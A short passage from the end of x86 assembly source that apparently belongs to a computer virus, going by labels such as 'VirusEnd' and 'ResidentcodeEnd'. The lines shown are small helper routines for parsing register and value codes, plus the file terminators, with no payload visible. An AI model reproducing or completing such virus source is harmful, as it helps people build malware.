|
|||
|
jz ReadValue
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
lodsb ; read register
|
|||
|
|
|||
|
cmp al,'X'
|
|||
|
jz GetRandomReg
|
|||
|
|
|||
|
sub eax,'0'
|
|||
|
|
|||
|
add esi,ecx
|
|||
|
ret
|
|||
|
|
|||
|
ReadValue:
|
|||
|
lodsd
|
|||
|
add esi,ecx
|
|||
|
ret
|
|||
|
|
|||
|
Return:
|
|||
|
ret
|
|||
|
|
|||
|
AsciiToNum:
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
sub eax,'0'
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
ResidentcodeEnd:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
VirusEnd:
|
|||
|
_rsrc ends
|
|||
|
end Main
|